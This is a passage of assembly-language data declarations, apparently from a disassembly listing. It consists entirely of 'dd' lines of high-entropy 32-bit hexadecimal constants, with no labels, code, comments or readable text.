dd 506ED79Bh, 5DAC8EF9h, 7A446890h, 136CB384h, 72880243h
dd 0C884E044h, 6BEC4F1Eh, 179C18A0h, 0E21B0050h, 0CEA963B9h
dd 0B00B074h, 3D44B765h, 0B957098Bh, 458E3EB8h, 0BC21F256h
dd 4803D408h, 0B90B89B8h, 47DED10h, 0C0C17CCCh, 0EC388114h
dd 5B2AE380h, 0A039B58Bh, 1CD048E5h, 7E40FEA9h, 0EBDF5EB1h
dd 3BA12590h, 0E7BF8023h, 6E8450F8h, 3474505h, 1BC330B4h
dd 0BCECF83Fh, 2B71000Eh, 55F1BBE6h, 0A605FA59h, 0BFB2D7ADh
dd 0E1C84C5Fh, 87E1271h
dd 1D8CD318h, 72A02927h, 658C0037h, 0C291BABDh, 0D90039BBh
dd 0C7AFA457h, 2CEB3ABEh, 4068887Bh, 262DDABAh, 0CA876500h
dd 56A41642h, 49C0080h, 0AE627EF1h, 6C99EFD7h, 582DC681h
dd 7460F44Dh, 7EC42AB9h, 8B4107DCh, 0E03CB018h, 2410E3D1h
dd 0A10246EEh, 720CC269h, 508508Dh, 1D70C8BFh, 0C55C0081h
dd 0F2B454BEh, 0F44A2200h, 9E2690D7h, 4F0A0CE6h, 790847A8h
dd 110F4BFEh, 0E5C3125Fh, 0C0028C02h, 59ECDE98h, 0CF350EB4h
dd 0F0081960h, 8D27766Ah, 0B048103Ch, 0C4120871h, 3E0056EDh
dd 0F8D9495Fh, 5432078Dh, 0B0BC7D80h, 9E4120A0h, 685EC0Bh
dd 31EC84CEh, 95408C8h, 0F33532AEh, 43ABFC84h, 0E0B1B9D8h
dd 105AD3Fh, 0CBF64AE8h, 8E9C70D5h, 0EC59D4h, 8AA89D4Eh
dd 47FD01BFh, 0DA22487Fh, 48621Dh, 0F30EED25h, 1C6D14C7h
dd 0ECE83C89h, 3AC2064h, 0F44CEC03h, 0E9A791E2h, 81972C06h
dd 46007D73h, 85F923D2h, 0B9E48EA8h, 0FC033C84h, 51384BD1h
dd 490C480Bh, 65900487h, 0A1E48Ch, 0CEBA4D59h, 918E7A5Eh
dd 0E06E9096h, 739329EBh, 4B990F4Fh, 308C0AE7h, 220C15B9h
dd 118F1CCFh, 5D5001Ah, 12E3B40h, 0EB17312Ch, 0AC00E555h
dd 0FFBF93DBh, 43172EADh, 47A16E54h, 70218BF3h, 2602D6ADh
dd 15D07DFCh, 3CAF40ACh, 0CE78A8ADh, 4DED0F99h, 93E0095Ah
dd 55D63BDCh, 1A580h, 7D9F1A85h, 7022D97Bh, 1B164500h
dd 0B4C33F0Ch, 62EE8F6h, 0F58ED750h, 0C486E978h, 5147B107h
dd 4F40A10Bh, 1E529E4h, 0D191A8D0h, 0D025A0A6h, 389CECA5h
dd 0B903867h, 1953BF7h, 82E902F9h, 0E9292F4Ah, 806068D7h
dd 0FF13E6D8h, 0E1D10055h, 0E18F05Ch, 4D0073DFh, 854AB24Eh
dd 0F38F93h, 0DD3F55CDh, 0A282E10Ah, 0FB4E500h, 22431D3Bh
dd 0A8E212B7h, 708400A5h, 939C55C7h, 9F65DF00h, 3292579Eh
dd 6FCA0FEh, 0B20180CBh, 2404B358h, 400954A8h, 8DA4985Eh
dd 5F180072h, 137E7326h, 0D4007875h, 8C0075Ah, 120BF35Eh
dd 303D6EB4h, 0F128C6E0h, 0EC0001F6h, 50537DABh, 79FAF04Ch
dd 0FE2D0018h, 0BDBEE4Fh, 11275DEDh, 0FFD4A76Fh, 7A141570h
dd 121A07CCh, 0C7332B58h, 0FE0724Eh, 5898404Ch, 1D146508h
dd 0BDDD8074h, 0CF86CDA8h, 2C93F424h, 0F9B04B00h, 27A9294h
dd 0A44055E2h, 9C60FAC0h, 0FC91DF7Dh, 0AB69D580h, 761719Bh
dd 6BC586E9h, 0C90F1FEh, 16331A6h, 4003F5D6h, 4EDEDB74h
dd 0D82AB100h, 547E6A38h, 0F3182532h, 6E4BF378h, 7B087C40h
dd 0F6ECAFh, 9C1140F7h, 0B9E1EA69h, 7052AD07h, 68BB0AE4h
dd 0A1A44F0h, 57B8D415h, 0CE7E01B0h, 33F6D5A1h, 0ED54022Ch
dd 726F8E58h, 71630070h, 802AF647h, 0E4032F7Eh, 0FF099B98h
dd 0B0591276h, 0B9230454h, 4C8C8CD5h, 0C0D3A800h, 47B70906h
dd 7658BA59h, 1458B6BCh, 4A3F9C03h, 520A5389h, 65C0F010h
dd 3E44F890h, 82D09C88h, 845CC787h, 0CD3BB240h, 14865F00h
dd 0B89DD5C9h, 829100D0h, 0EC4765C3h, 0C00F9D1h, 790B8429h
dd 588D4F45h, 92EC3Fh, 2322B448h, 69C062F5h, 8A73D5BCh
dd 315C0072h, 66FF44E9h, 86762150h, 794B6100h, 0C6FC60EAh
dd 0E71B00E3h, 0B2DEE029h, 0EE000A55h, 4ECE4FDh, 0BCEB33h
dd 960771B1h, 0C56F09F4h, 3500BCB9h, 38179AECh, 0F9293EBDh
dd 800DA29Eh, 5F35D28h, 0B730FE98h, 8468A975h, 0E13400AFh
dd 0C2448914h, 0B0906308h, 0A1F92D00h, 919D9C46h, 86E419EFh
dd 875ED8C4h, 0A50BBA20h, 78E4FD84h, 73A8B815h, 673D0FAFh
dd 48C27BFAh, 0C8818EC5h, 723085BBh, 0FEC0F40h, 11829C54h
dd 41723FC0h, 4C40B402h, 1F0CD2Bh, 7C2EEDFCh, 0C658DC06h
dd 29640060h, 3FB050EFh, 0B07E2DAh, 0C11C743Ch, 1A663980h
dd 30F64889h, 0DEAD5280h, 8A4BDA0Dh, 4FC2D847h, 3EEF5620h
dd 0B8B11Dh, 1CE7785Bh, 0AE0081E2h, 0BC3C71ACh, 5CE5275Dh
dd 6A05E0E6h, 0E0FDA5F1h, 0B730FC40h, 5ABCB176h, 1A2B136Eh
dd 24860053h, 0FCED157Bh, 0D002327Ah, 85A7C8E3h, 9938E34Ch
dd 4822570Ah, 0CE4211Fh, 0D585060h, 0E4406E4Bh, 6A24CD76h
dd 75AF0069h, 4ECC268Dh, 0F300E713h, 0ED300CA4h, 4A8E83CBh
dd 9E3090F6h, 6E00E89Dh, 0DD3D934Eh, 622EE65h, 0B4D060DCh
dd 0C91EB1D8h, 17409CC8h, 3DF0C5F6h, 2A72094Eh, 0F0884902h
dd 2386006Ch, 556E8EABh, 2D087D00h, 0C421C79Ch, 0B971C068h
dd 1C1681D9h, 0E727A400h, 74EE0BE1h, 6F860080h, 4E82AABAh
dd 710985B4h, 80ABA522h, 0B693FA0Dh, 2E547A46h, 60C08110h
dd 0CA16EC9h, 0B4309F7Ch, 25AB89EEh, 38DF0041h, 0B2437DD7h
dd 0C8F0D377h, 9B61A00h, 28FD952Eh, 4F24A06Ah, 0E2630012h
dd 222FB87Fh, 0E42608CEh, 0C84020C4h, 0E2DC42h, 0BFA8A3D5h
dd 0A2AF52DAh, 33D4D20h, 1462E812h, 10044560h, 6D2A8773h
dd 990A68E2h, 11D87170h, 37DD0096h, 75058198h, 0DE472512h
dd 63F8A010h, 83F6AB00h, 0BBBD8629h, 14DA00F0h, 0BAEAD44h
dd 7116E89Fh, 3C88F2F6h, 7EE094h, 672608E7h, 6D9F8E1Eh
dd 0A9B59C00h, 0F5D019ABh, 0E851482Ah, 340556C0h, 6B009BCBh
dd 33906E49h, 2F3C70h, 0EA7C4B1Dh, 0A619BBAAh, 8779F8B0h
dd 78B89E04h, 10B91D64h, 214ED100h, 0E60D5250h, 0E29A3D09h
dd 33C660Ah, 67816F56h, 3EB8F2A3h, 11004DF5h, 697F3CCDh
dd 27F4A85Dh, 0B0A06DABh, 7890168Ch, 0A082FB2Ch, 0B580A31Dh
dd 358F4FB6h, 9DE0DF8h, 40613157h, 5A1CC040h, 212A11C0h
dd 0F9FB48h, 0CEA54DE1h, 0C354EFFEh, 4C46DC00h, 1DD8A3B4h
dd 0FF31C025h, 69663AE2h, 0A0730D0Eh, 25C20D2h, 7135C29Eh
dd 598202A7h, 77B4B232h, 94AA9CA0h, 1D5468B7h, 0ED00A324h
dd 29152BC4h, 0E6DB10h, 0A0D123C0h, 533B3E13h, 0D73D6003h
dd 9D5B6590h, 0F0FC0480h, 17297CB5h, 0C1EA5749h, 2836EC00h
dd 8B3EC070h, 18E2FA9h, 0DCCE3D59h, 68B7D414h, 0CFA9C028h
dd 12D54D4Bh, 0B23C7290h, 0F59F0154h, 0F2CB43D6h, 460FFD7h
dd 2E814FAh, 0B411F3F4h, 1C7AF78Eh, 5DB69E0Fh, 68600CDh
dd 145F11ACh, 0B01A5BCFh, 0ADF9C09Fh, 92215360h, 9390C600h
dd 0D1D2B10Ch, 614A0032h, 0D5AA7ED6h, 8700C762h, 8527801Fh
dd 743F070Bh, 55040F8Dh, 9219D49h, 22B724FCh, 0B28E00DCh
dd 3743A1E2h, 0D09800DCh, 598AED97h, 22093591h, 5F5AEF9h
dd 0C02CB0h, 2718ABB7h, 68A0C4CEh, 95FD8802h, 0C9343001h
dd 53FC57DDh, 783820h, 56E24CDCh, 29A5F336h, 9C438000h
dd 82EA1D9Eh, 703390D5h, 57E9C2D4h, 94C43BDFh, 0B2A1E000h
dd 7EDE6298h, 4C8C09CBh, 0F4091D76h, 4B0198C4h, 5A11ECFBh
dd 683CCDD5h, 0EB8BDC0h, 0D2002562h, 0C65AC73Dh, 1CF86812h
dd 82A6D674h, 0AA2BC269h, 0A4CD50C0h, 4DE4E600h, 33E15826h
dd 0C4B701D7h, 804F716h, 0D3EAF054h, 5B3F19C0h, 0E2DC64F2h
dd 0D5B63E27h, 0FB3B400h, 0AD259FD8h, 0ECAB0400h, 6AD2D4AAh
dd 777C0052h, 0B9247857h, 5400DCEBh, 0B4EC99BFh, 6F931E7h
dd 0C52DF2B3h, 0CC60E25Eh, 1BE62F69h, 376F0AE4h, 70C5B28h
dd 4CD53FC4h, 2B005778h, 69980DA7h, 0C7CCDCBCh, 0A0924819h
dd 918316B2h, 2BB1A700h, 0B49063A3h, 6ABA02CCh, 6F3C531Fh
dd 6DA80063h, 3033C516h, 0E07141D0h, 0F0C5E81h, 0F6B4F7A1h
dd 14FE6F2Ah, 0F11DF7F5h, 451D0F69h, 3698D66Ch, 3223F900h
dd 3EB5DF5Fh, 6A1C010Ch
dd 0BBC55E2Bh, 8FA011DAh, 606480DAh, 1DA2FA3Bh, 408A34A8h
dd 81F0F5Ch, 0C801A016h, 0F49E1730h, 9080C259h, 37CF916Eh
dd 0AB3B80A1h, 483C30FFh, 1E3594D5h, 408CFE19h, 7663992Dh
dd 69C0D88Fh, 7A7BEC41h, 9DBB01B0h, 29E9F5FAh, 0B7B98F2Eh
dd 0FC12C0F6h, 60F4A5F8h, 0EE461991h, 83000476h, 49D3A8CDh
dd 0AB25B3C5h, 16AF3F8h, 745FEA29h, 0EF8C54B7h, 8A1C29B8h
dd 7D612802h, 2393A80Dh, 0F39057F5h, 38015821h, 0B29F6127h
dd 0F03BA189h, 0CB383FA9h, 805B07B9h, 4EA02213h, 0A0D9D40Dh
dd 247A5920h, 40442E26h, 9E1DB310h, 0FC02A5FAh, 26802D68h
dd 660440Dh, 710FC655h, 0EE0011C7h, 647B3991h, 0F71176h
dd 737595ADh, 44D7DCEAh, 0FCA45900h, 792A1C2Ch, 39D2608Fh
dd 8994BE30h, 46E80400h, 8BC9F2ADh, 1B3F0B4Fh, 0A080BCFCh
dd 1C959DEAh, 0EE02C403h, 28DE510Eh, 2470B9h, 3BB15672h
dd 9020913Ch, 0B6983900h, 0FA48D088h, 0EA31017Dh, 415707D1h
dd 0EDC9D4DDh, 2A67C33Ch, 0A506F401h, 27CF2CE2h, 477E11h
dd 0DF35D484h, 26E40EFCh, 13008174h, 431DE11Eh, 0FA12FFA1h
dd 0CF9D18C0h, 0B0D23905h, 0E0A9FD04h, 0C4801669h, 38AB818Bh
dd 2D986D0Ch, 0EEE329EAh, 0F1C98863h, 3ECBD01Bh, 1E9000FCh
dd 0FD6F93D3h, 2A04BCA8h, 530972DBh, 7EF0A887h, 98EB29CCh
dd 0E2EC221Ch, 8C15BC3Ch, 613BCE19h, 6EDCA0CFh, 878000A8h
dd 2796A5B1h, 26113EB8h, 7200D7EFh, 527C854Ah, 0EC4C289Eh
dd 62568004h, 3A78B37Fh, 2D81719Bh, 0B04B57D0h, 289C20F8h
dd 4CE0AF38h, 73FD1245h, 0B3A28820h, 829E011Eh, 0B43E4988h
dd 0E4232Eh, 814B934Ch, 0DAA852h, 0CE5E7140h, 0B2CFB995h
dd 0DB1BB9C0h, 0E0A02Bh, 0A6F54DA8h, 245AED8Ah, 17739103h
dd 9B08A43Eh, 0D89DB0DCh, 0C7FC730Eh, 93956661h, 11009446h
dd 17BE3AAh, 4A48E61h, 86C5A0E2h, 5618D1CFh, 0CCA3E184h
dd 0C33828A8h, 0DCE40DA4h, 4D021D2h, 0C9620457h, 0C2DD94F4h
dd 9D20D930h, 0DBEF7Fh, 0C1F10E08h, 71F97EBEh, 3DDF10A0h
dd 7BBF854Ch, 9879C900h, 7F605DC7h, 0B28B03EAh, 92A80E09h
dd 7CA948h, 37DA174h, 26B440BAh, 404023CFh, 62151D80h
dd 0B2F9E400h, 0F2A20136h, 467D0010h, 3ABDA42Eh, 4F310ED9h
dd 0D17051C1h, 45E38993h, 80923794h, 11EE3FAEh, 0AB57007h
dd 0AD60B235h, 9C5178Ch, 9810FF16h, 0C981342Eh, 201FA6A7h
dd 20C49D8Ch, 0B0C8708Bh, 662060Ah, 0D6E6F0B8h, 997D9E0Bh
dd 0E43403D5h, 84A4B80Dh, 0BFB4F01Bh, 0C99793E0h, 3A387F71h
dd 7357039Dh, 0D1111976h, 0B98566EEh, 0C7303F62h, 0E23CA088h
dd 7C0ECF35h, 6450D24Fh, 40C81226h, 8CAA04F3h, 14375766h
dd 8EFC03E0h, 0D865522Fh, 62C0A6Fh, 0F45ACB19h, 1C0E6186h
dd 0A03FFFE5h, 3ED19C12h, 0CB5E00B8h, 5D2BC867h, 58F0ECA4h
dd 0FE589F72h, 9E70030Ch, 3AAD8F77h, 0B1803A79h, 7C7F23CDh
dd 0B0626066h, 4855DB81h, 3CB4851Ch, 590B2230h, 2C808A48h
dd 3677AC07h, 2646860Ch, 33B79114h, 7F4129CDh, 0A080FBC8h
dd 0A59B5F02h, 40BCC3EEh, 84954F14h, 868940Fh, 0A42A22F7h
dd 278C606Dh, 204995Bh, 95E4BF3h, 69E5D881h, 0CD51145h
dd 149DEDBh, 0BE8E794Ch, 0D063CCFEh, 0ADB0AB21h, 2EEB4300h
dd 0D1FB6A29h, 2C365428h, 0C906205Dh, 7F0A8F03h, 2CD6FB0Dh
dd 6098A451h, 0C02B073Ah, 0CC053E00h, 0BC99ED7Fh, 81200972h
dd 94925A6Dh, 82CF34A0h, 48E937AFh, 4A008184h, 0E9A4CFBh
dd 0F4BC5D97h, 7627061Fh, 91C68F63h, 6667101h, 6F348452h
dd 3BA103C4h, 328EF356h, 66C0FDC7h, 7AF07CA5h, 0CFD9FF13h
dd 46708C20h, 0B6FE418h, 0DCD07348h, 74044C90h, 7D87CA04h
dd 18C04C38h, 0C00ECE9Fh, 4D8E4439h, 2C04A2D1h, 57343CD4h
dd 0D87FC683h, 0C02ACF15h, 0A3E6CE29h, 2D1ED9AAh, 49809F6Bh
dd 92A50983h, 0DA7495h, 0FB5A8BDh, 6465984Dh, 0F6DB6D00h
dd 0CFE3ECB3h, 0D824A3BFh, 0EA12C6h, 8B59A065h, 5394501Bh
dd 0D413262Ch, 0A0C1F345h, 95D0CA9Dh, 94710051h, 0D03D6686h
dd 0CF5047D4h, 0EF006C60h, 0D821B3BDh, 13CCA8Ah, 333E758Eh
dd 307EC0CDh, 3A08DF24h, 8066EE0Eh, 2D937A09h, 213AB58Ah
dd 0E5798096h, 256D6601h, 1EC9189Dh, 383DC259h, 0A011700Eh
dd 5402960Ah, 648E1339h, 35250318h, 5D91321Dh, 29F322F0h
dd 2FE620h, 7E3E168Fh, 0A5EF3F8Ch, 84C29701h, 0D47996A4h
dd 17611420h, 0A1F0C7h, 379D44D8h, 0E26C4156h, 4C850810h
dd 69265406h, 0CF848658h, 3300F90Dh, 4A17BEBAh, 0B50BDBh
dd 46FCEAC0h, 94297C4Bh, 116F5203h, 891BB27Eh, 0DE8CE3F7h
dd 3E41325Ah, 57F47200h, 0F650B0DAh, 9CFC0253h, 0D23B39F1h
dd 1FE6F0C0h, 8EF6BFB0h, 773C84B1h, 6000C0F4h, 0A462303Bh
dd 610D28E6h, 3D0521E0h, 68239Dh, 0E8BD6EEh, 90D46624h
dd 20DF013Ch, 0FF7095Fh, 0E79440C3h, 0A80A700Dh, 50536945h
dd 0BD980E05h, 765CCCh, 7845544Fh, 0E3A3AB56h, 0FC5D4B00h
dd 27B72A7h, 0F817260Eh, 0BEE20CD0h, 694CFE58h, 4D0D0A4h
dd 0F43C2449h, 74E018C8h, 0F5F7002Ch, 0D5FCB27Ah, 900E345h
dd 855E93DFh, 11A3FE97h, 240EEA26h, 4C403CCDh, 1CDF42h
dd 19E79F8Bh, 8378EE85h, 0E315914h, 0DA82C0D4h, 3B401935h
dd 8700CDD9h, 1EA0E6Dh, 1D1216D1h, 0F088630Fh, 0AD8D3842h
dd 3A4E0D00h, 0A0C1CFBCh, 0DB6AE416h, 5B20E020h, 534C2667h
dd 4041184h, 0EADB3BB4h, 95F467C0h, 0BEBF28C2h, 0AE8F02E4h
dd 76C00D98h, 7D8A6CE0h, 81A4EE0Bh, 0C3F099DBh, 0B691ED8h
dd 536DE222h, 9051E892h, 3C4C803Bh, 30A8216Ch, 7E7500C5h
dd 0A326319Ah, 8A7E4E45h, 48685E64h, 8873E305h, 0FE004CD8h
dd 77B41D67h, 2EF531h, 14F099A1h, 20CADB6Ch, 90E03Eh, 0F767D057h
dd 0C77BBBC5h, 849CD479h, 9568C83Fh, 0E5267D0Eh, 0F90C8073h
dd 0EA631EBFh, 10812CC0h, 0D6112Ch, 4C07F4A0h, 17F2819h
dd 5354139Ah, 222F6D75h, 0BD047934h, 0CA20BA99h, 2006F8C2h
dd 728C4A0Bh, 24927A01h, 81FC5763h, 2060D9CDh, 0B1CE88DDh
dd 0AD5F31C0h, 9A0427h, 0E8757C81h, 2F1EAEE5h, 44132500h
dd 3EF46D78h, 24EE5CC5h, 0A0D054h, 9650FCA4h, 6ABE6D1Ah
dd 0DF4BD3FCh, 0A6B10470h, 0F31A0037h, 0C20DC4A0h, 66005726h
dd 9715F217h, 1CBA10Ch, 0D7AA0744h, 0FBD25616h, 8EB97798h
dd 2405D42Eh, 3685A404h, 9B1CD0A2h, 0AF3700DBh, 0E89F0D03h
dd 22953400h, 56B7A00Ch, 8F30B1CCh, 316FBA80h, 0C0724104h
dd 0C03297ACh, 0C4500E3Ah, 0F38C0258h, 0DCBD5695h, 0DE004852h
dd 8EA355CCh, 1873D62Dh, 0D9C85B26h, 0D963B4C4h, 69EF29h
dd 5977A149h, 7A2F704Dh, 0A3A5C509h, 3C640731h, 0DA0D2611h
dd 34022054h, 0A4D61328h, 1021610Ch, 0F5A908CCh, 0E052EF12h
dd 4A8E7C00h, 121A0EAh, 0E4DC058Ch, 0C316657Ah, 9D01F0Ch
dd 4CB89D54h, 0E4754428h, 8F78A00Ch, 3BA59D0h, 2A871FFDh
dd 0E5B091F3h, 0B200D626h, 0FE7D4BBDh, 0E26DBEF7h, 0D531C144h
dd 51E928F8h, 14D98558h, 18854CCh, 2622658h, 60FB3B37h
dd 0A71D82C7h, 0D3532F01h, 10B47409h, 2CEF988Ch, 1C9480DEh
dd 0AA69302Dh, 413298Eh, 0C48026DBh, 7534F3Fh, 0C1E899E2h
dd 87A7F595h, 0C02D94E4h, 6CA3F318h, 4900A498h, 0FA81C957h
dd 929CE6Eh
dd 500C7061h, 0A40A54C5h, 2F00944Bh, 0FDD320Eh, 0D5E272h
dd 8A09CF0Ah, 6B92B89Eh, 62455700h, 71E61473h, 5B7A287Eh
dd 30594BA8h, 869B2770h, 56687203h, 0C8705553h, 5C4AFFB2h
dd 7180C8CEh, 6CDC62E8h, 8000337Dh, 117F64E4h, 0E3E54E1h
dd 0C4357AECh, 0F0E5D83h, 1A1C4BC0h, 8F7412FAh, 0E6AA1B09h
dd 3D7C648Eh, 3580A49Fh, 0FFD107F8h, 6618E944h, 0A5713645h
dd 0CB710984h, 50E8F43Eh, 0BA77158Eh, 852DED00h, 5EEC45E6h
dd 29C60025h, 0FF4D1A5Bh, 0E496A50Eh, 4871649Dh, 94303909h
dd 0AAF6022Dh, 8EC51ED2h, 783C4C44h, 0C9A81837h, 3A7F7111h
dd 7C4C27C1h, 466020Ch, 4848B968h, 576F0045h, 691F5491h
dd 83FC9C44h, 6A0C00Eh, 0B4514EA2h, 5226F63Ah, 5308A81Ch
dd 7E770EB6h, 2244EC02h, 388EDC60h, 45635913h, 3B3D1420h
dd 0B33A0027h, 0AE74CF93h, 5400F4B1h, 2E94628Bh, 300A92B6h
dd 9A316CEEh, 963EC0A1h, 8261BEE3h, 0C28A4727h, 85CC8E86h
dd 688D08D1h, 17294BF8h, 0A4C94Fh, 0F149FC74h, 7F036F5Eh
dd 0F4FD4641h, 0BF86D128h, 78DC5021h, 0D4761FF8h, 0D5D4FA5h
dd 0EE3BB922h, 593ACC90h, 0F68F0A02h, 82CA8549h, 255EA9B0h
dd 9B00C8EEh, 36E84A00h, 6ADD22B0h, 0F79A0090h, 63D10208h
dd 40118E7h, 5C37BDABh, 8C606A66h, 560E883Bh, 378434B4h
dd 98824380h, 8C4CFh, 938F53BCh, 6062D10Bh, 51B60300h
dd 899972B2h, 94D2009Fh, 980D7810h, 4C01EC4Ah, 685921B3h
dd 0A872EF26h, 0B4DD7776h, 66380B0h, 8C2AF896h, 10FB0D27h
dd 0EE6957B4h, 0DA631817h, 25A4E9DBh, 26728F00h, 2769A0CAh
dd 0C2500064h, 37949A9Ch, 3A00D83Dh, 49C8BFCCh, 97E2955h
dd 0DB33DEA5h, 30319C41h, 3500F6A4h, 561047F9h, 26C5FA90h
dd 1218B2E3h, 0D4140767h, 0CCD14471h, 970012A8h, 94B399BFh
dd 7C683C0Fh, 0F4742CF5h, 0C76E0FA0h, 1492A501h, 544892B3h
dd 8EFA3C04h, 31B48E4h, 0A1940517h, 0A4E53F2Ch, 9700BEC8h
dd 6D1FC06Ch, 94CC20h, 0B9BA3905h, 0FFE9F3D5h, 3C640C38h
dd 0C8A90057h, 0B7567504h, 1DAA139Ah, 7A0804C0h, 95248314h
dd 6179A790h, 0A00F2B06h, 1C1AEEDh, 807B8CCCh, 2092865Ch
dd 0C60F60BCh, 323C3664h, 0E5417437h, 3060F28Fh, 26350031h
dd 0C5929F30h, 40B4894h, 0F53EF69h, 54DB64F4h, 0E09CB890h
dd 0C47F005Bh, 0FA5AC01Eh, 0D8FFAE6Bh, 4C1256C2h, 0BCC8BEA8h
dd 44EF0009h, 0F452B85Eh, 73002C25h, 16405767h, 202BCA8h
dd 4F3E8556h, 404692B0h, 8C1E96E6h, 9F931A30h, 0EC2C600h
dd 43DD2Fh, 80B2768Eh, 28F53D6Dh, 0E020155Eh, 608E1F5Eh
dd 722D11C5h, 0EC00BEF9h, 91EDD3EAh, 31A3BD4h, 6D636FC9h
dd 712FB456h, 76EC21DBh, 92E8228Eh, 95B78B5h, 0F80545A2h
dd 0A6ED78Ah, 0F81D78h, 0EAA0588Ch, 94EAF03h, 96C30008h
dd 0F1490CEh, 5A002B40h, 5FC9AA91h, 1F8892Ch, 0DB81887h
dd 8029DB75h, 315DB379h, 38886B6Eh, 8A00462Ah, 0FEEA95Eh
dd 0FA05B4F7h, 7A299CCCh, 18D7050h, 0FE0395Fh, 0DE707B87h
dd 183428F7h, 91EB05D0h, 4090EDABh, 33C5AF8h, 0CC01F5C2h
dd 0F4C7AC58h, 0C426510Eh, 0E87EBD3Eh, 8E680044h, 61287526h
dd 91DA7Eh, 0B70ED900h, 2C1AE7h, 0CAF1E67h, 0FD3BA9D2h
dd 725C7F00h, 29F64DE2h, 167C912Eh, 0C27C20CDh, 0F0003ADCh
dd 89377239h, 481E9F0Bh, 9726A408h, 0A06900B0h, 5BF75EC5h
dd 2E029000h, 0EAB4C77Dh, 0FFE4CEh, 4D57BF9Eh, 0B8F6EFBAh
dd 0A7FA7177h, 1D3BEE00h, 3FFAD512h, 73D10538h, 88F454B5h
dd 0E43C9FCCh, 89E100FBh, 75577874h, 0BD9E1883h, 3C97E9A7h
dd 0C551E20Bh, 0B49ABCh, 0BB6AD320h, 0C5951712h, 6D9CCC8Dh
dd 0C970124h, 0EB235D02h, 0B894C0F6h, 0C45406BCh, 28C33D67h
dd 8A1DE0EAh, 93DEA60h, 1028CF6Fh, 0E9ADFD78h, 34319FE9h
dd 0CBB6EE4h, 8D450FF5h, 2A013A81h, 68CAC3EDh, 2EC4BD76h
dd 4070EB1Dh, 366E09D0h, 649AE6CFh, 0BB0B0A40h, 74F27E00h
dd 38A694DDh, 7CF74C4Ch, 0F5A49E3Bh, 86610B5Ch, 0B6079444h
dd 0AF7E8741h, 0F0DDAE33h, 27AAF777h, 0A420708Dh, 0C34E07FEh
dd 65807603h, 0D11726A3h, 2B10C68Eh, 0F73CCE52h, 376C0079h
dd 0ADED3596h, 0E6540098h, 84F93EAEh, 75EAE7B6h, 4058E490h
dd 0F8F70B40h, 57B4E8EFh, 41BB00CCh, 7211757Fh, 6404FF8Eh
dd 82C517D2h, 867890A2h, 4AC03042h, 220903CBh, 90B84800h
dd 27E33FF7h, 5178035Bh, 3EDE9455h, 2D596981h, 0C43851ACh
dd 7A186F97h, 3661AF8Fh, 56640076h, 0C603F741h, 8A00B4FCh
dd 556D7125h, 907609C7h, 3D870B24h, 5C6168E2h, 2805D325h
dd 75527A9Eh, 2A45F002h, 6FB478D9h, 4A202038h, 7D6F54F8h
dd 263DB00Eh, 4D0DA579h, 0FFF380D8h, 0CF27A30h, 262F6D64h
dd 24F5DCB1h, 0F00D4D0h, 7DA65069h, 1EE8CF37h, 508F4D3h
dd 20DC1774h, 5D3124F4h, 0DBE5FB00h, 144832A1h, 0B0C80457h
dd 0C0569B38h, 0D40C70FCh, 301740A1h, 1603F67Ch, 81FC54F7h
dd 0B056DF85h, 9473FCC8h, 175D8748h, 0E604E034h, 0DA002B5Ch
dd 167DDD11h, 943837CDh, 13BE60FCh, 60182418h, 4A41AD70h
dd 0C74802BAh, 167886D3h, 24009446h, 35D5687h, 0A23A7D70h
dd 0D43C9883h, 83F90038h, 2DBE064Fh, 50021E48h, 106F3EDBh
dd 1879D3h, 0F3F1C98Eh, 160611Ah, 6D0A8AC0h, 5E400A8h
dd 0F4782F3Dh, 73E45F3Fh, 7A2D4CA0h, 71DD404h, 98C0D17Dh
dd 24E8FB45h, 413CA8C5h, 0CC59C9C3h, 0C4608F9Fh, 6942E239h
dd 0A9370113h, 8A8CC197h, 7CABF44Fh, 7098B4A1h, 10959AA4h
dd 1F9614h, 0F5B172D2h, 0A50EBDF8h, 0C22C9895h, 0C6B7EF0h
dd 0CB7320A9h, 7A076569h, 5EC39926h, 0B5A03710h, 72180BC2h
dd 0C490D30Ch, 0D0BC6066h, 8C84FF69h, 9E98A446h, 6EBD203h
dd 0C8A97B1Fh, 1FC57E8Dh, 5FD8247h, 0C0114995h, 7D47D0Ch
dd 90952777h, 4AC00EACh, 591C88A5h, 540839h, 0F746E6Fh
dd 3C183A3h, 0DAF78668h, 2B82BFD5h, 5600B0D9h, 0D90AF3C0h
dd 6CD2030Dh, 0A71E9C9Eh, 0BFDB51B9h, 0DA699269h, 98A27820h
dd 0D3C0040h, 7F3B2B9Dh, 6B04A4E9h, 0EA529EBh, 0D5951180h
dd 12F4749Eh, 0B0017AFDh, 0B6256F00h, 373820DBh, 106A61h
dd 64760ADh, 7EA45AF6h, 2089B800h, 2B2D3A49h, 94C0188Ch
dd 0CE55E809h, 0BC950084h, 6B927C5Ch, 3B2CF8EFh, 7B1D9266h
dd 0A986EC80h, 0A3CE8D36h, 0A0C7E874h, 0E1B8C0BDh, 0D0CC6AF9h
dd 84A44B01h, 633D1496h, 2CE14002h, 5D5812E0h, 0D01C44FEh
dd 143EF0C4h, 0A9089780h, 3D6904E4h, 0F4EA270Ah, 0B160CD50h
dd 26794C71h, 0E578002Ch, 0FC06392Ah, 0CFA0897Dh, 0F801B9B6h
dd 3ED0277Bh, 0F432EC26h, 40BCCE24h, 2DFECAFBh, 0EBD13403h
dd 243CA974h, 2604170h, 84C00D6Dh, 7C26E0C1h, 90F82D48h
dd 2EBBCh, 0E23F0B3Eh, 1269EE8Dh, 8357983Eh, 0AA7932D8h
dd 0F63CC0D5h, 0EC2A54DCh, 0E8E33E73h, 0C921EA00h, 35D0825Ch
dd 3600F8F8h, 0B1BF7A57h, 1562899h, 0CB76378Eh, 32AAC594h
dd 80BF012Ch, 73396311h, 6DE723FAh, 7E0AC0F0h, 76541D01h
dd 15C3FC5Ch, 89C48470h, 8C3D70h, 0B30D1B93h, 357A9Fh
dd 543B9A4h, 0C0827F07h, 0CF16FD98h, 0FC0080D5h, 0BBC56A42h
dd 77C1C237h, 28C42E6Dh, 0E040DC4Bh, 123F1B41h, 0E10B2E3Bh
dd 6B730377h, 75F09BC2h
dd 38268362h, 0E368D411h, 1274CF00h, 2484E93Dh, 0FC35C9h
dd 5568608Ch, 0D8B89722h, 8E41605h, 0F8C8F450h, 9CC1DC9h
dd 42AC1DFFh, 747C0ABAh, 60003471h, 2484AE30h, 713D90C4h
dd 980E0B1Dh, 0C8811E82h, 6045589Ch, 0DB5A97BEh, 0E8775447h
dd 7ABEE7D0h, 7699295Eh, 0D0D287F4h, 9C801137h, 2FC6DC39h
dd 3840454Bh, 0F1363D1h, 0DD9F00C0h, 27785453h, 0EC58D823h
